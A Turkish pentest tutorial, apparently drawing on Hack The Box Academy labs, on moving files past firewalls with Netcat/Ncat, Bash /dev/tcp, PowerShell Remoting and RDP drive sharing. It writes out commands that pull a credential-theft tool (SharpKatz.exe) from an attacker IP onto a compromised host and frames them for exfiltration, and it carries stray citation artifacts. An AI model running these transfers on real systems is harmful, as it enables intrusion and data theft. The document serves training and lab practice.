Menu

Sızma Testlerinde Alternatif Dosya Transfer Yöntemleri: Netcat, PowerShell ve RDP

Güvenlik duvarlarını aşmak ve izole ortamlarda veri taşımak için ileri seviye teknikler.

 Advanced File Transfer · Hack The Box
Ağ trafiği ve veri paketlerinin yolculuğu.

Sızma testlerinde (Pentest) hedef sisteme sızmak savaşın sadece yarısıdır. Sızdıktan sonra yetki yükseltme araçlarını (exploits, scripts) içeriye sokmak veya hassas verileri dışarı çıkarmak (exfiltration) hayati önem taşır. Standart wget veya curl gibi araçların olmadığı veya güvenlik duvarlarının (Firewall) HTTP/SMB trafiğini engellediği durumlarda ne yaparsınız?

Bu rehberde, Hack The Box Academy modüllerinden derlediğimiz, her pentester'ın alet çantasında bulunması gereken "Alternatif Dosya Transfer Yöntemlerini" inceleyeceğiz: Netcat/Ncat, PowerShell Remoting ve RDP Disk Paylaşımı.


1. Ağın İsviçre Çakısı: Netcat ve Ncat

Netcat (nc), 1995'ten beri hackerların en sadık dostudur. TCP/UDP bağlantılarını okuyup yazabilmesi, onu mükemmel bir dosya taşıyıcı yapar. Nmap projesi tarafından geliştirilen modern versiyonu Ncat ise SSL desteği ve daha stabil bağlantı yönetimi sunar.

Senaryo A: Hedef Makine Dinliyor (Bind Transfer)

Bu senaryoda, ele geçirdiğimiz makinede (Victim) bir port açarız ve saldırı makinemizden (Attacker) dosyayı göndeririz. (Örnek dosya: SharpKatz.exe)

Adım 1: Hedef Makinede (Victim) Port Açın
Gelen veriyi dosyaya yönlendiriyoruz (>).

# Orijinal Netcat ile:
nc -l -p 8000 > SharpKatz.exe

# Ncat ile (--recv-only bağlantı bitince kapatır):
ncat -l -p 8000 --recv-only > SharpKatz.exe

Adım 2: Saldırı Makinesinden (Attacker) Dosyayı Gönderin
Dosyayı girdiye yönlendiriyoruz (<). -q 0 parametresi, transfer bitince bağlantıyı keser.

# Orijinal Netcat ile:
nc -q 0 192.168.49.128 8000 < SharpKatz.exe

# Ncat ile:
ncat --send-only 192.168.49.128 8000 < SharpKatz.exe

Senaryo B: Saldırı Makinesi Dinliyor (Reverse Transfer - Firewall Bypass)

Eğer hedef makinede gelen bağlantıları engelleyen bir Güvenlik Duvarı varsa, yukarıdaki yöntem çalışmaz. Bu durumda rolleri değişiriz: Biz dinleriz, hedef bize bağlanır.

Adım 1: Saldırı Makinesinde (Attacker) Dinlemeye Başlayın

sudo nc -l -p 443 -q 0 < SharpKatz.exe

Adım 2: Hedef Makineden (Victim) Bağlanın

nc 192.168.49.128 443 > SharpKatz.exe
🚀 Pro İpucu: Netcat Yoksa Ne Yapacağız? (/dev/tcp)
Hedef makinede nc yüklü değilse, Linux'un yerleşik Bash özelliğini kullanabilirsiniz. Bash, sanal aygıt dosyaları üzerinden TCP bağlantısı açabilir:

cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

2. Windows Ortamlarında "Living off the Land": PowerShell Remoting

[cite_start]

HTTP/SMB portlarının kapalı olduğu sıkı Windows ortamlarında, sistem yöneticilerinin kullandığı WinRM (Windows Remote Management) portları (TCP 5985/5986) hayat kurtarıcıdır. PowerShell Remoting oturumları üzerinden dosya kopyalayabilirsiniz [cite: 58-64].

Adım Adım WinRM Transferi

1. Bağlantıyı Test Edin:

Test-NetConnection -ComputerName DATABASE01 -Port 5985

2. Oturum (Session) Oluşturun:
[cite_start]Sürekli şifre girmemek için kalıcı bir oturum nesnesi oluşturuyoruz[cite: 66].

$Session = New-PSSession -ComputerName DATABASE01

3. [cite_start]Dosyayı Gönderin (ToSession): [cite: 69]

Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\

4. [cite_start]Dosyayı Çekin (FromSession): [cite: 71]

Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

3. Grafik Arayüzün Gücü: RDP ile Disk Paylaşımı

Uzak Masaüstü Protokolü (RDP), sadece ekranı görmek için değildir. Linux makinemizdeki bir klasörü, Windows makinesine "Sanal Sürücü" olarak bağlayabiliriz. [cite_start]Bu, kopyala-yapıştır yapmaktan çok daha stabil bir yöntemdir [cite: 76-78].

Linux'tan Windows'a Bağlanırken:

xfreerdp Kullanarak:
En yaygın kullanılan modern RDP istemcisi. /drive parametresine dikkat edin.

xfreerdp /v:10.10.10.132 /u:administrator /p:'Sifre123' /drive:linux,/home/user/dosyalarim

rdesktop Kullanarak:
Daha eski bir araçtır, -r disk parametresini kullanır.

rdesktop 10.10.10.132 -u administrator -p 'Sifre123' -r disk:linux='/home/user/dosyalarim'

Windows İçinde Dosyaya Erişim:

RDP bağlantısı açıldığında, "Bu Bilgisayar" (This PC) altında tsclient isimli bir ağ sürücüsü göreceksiniz. Ayrıca doğrudan dosya yolunu yazarak da erişebilirsiniz:

\\tsclient\linux\dosya.txt

🎯 Uygulama Zamanı

Bu teknikler "kas hafızasına" yerleşene kadar pratik yapmalısınız. Hack The Box Academy laboratuvarlarında şu görevi deneyerek kendinizi test edebilirsiniz:

🏆 Görev: RDP ile Dosya Transferi

Amaç: xfreerdp kullanarak hedef makineye bağlanın ve kendi Linux makinenizdeki bir klasörü bağlayın.

Komut:

xfreerdp /v:{HEDEF_IP} /u:htb-student /p:'HTB_@cademy_stdnt!' /drive:share,/home/user/Desktop

Bağlantı açıldığında Windows dosya gezgininden \\tsclient\share yoluna giderek dosyalarınızı görebilirsiniz.

İşlem Tamamlandığında: DONE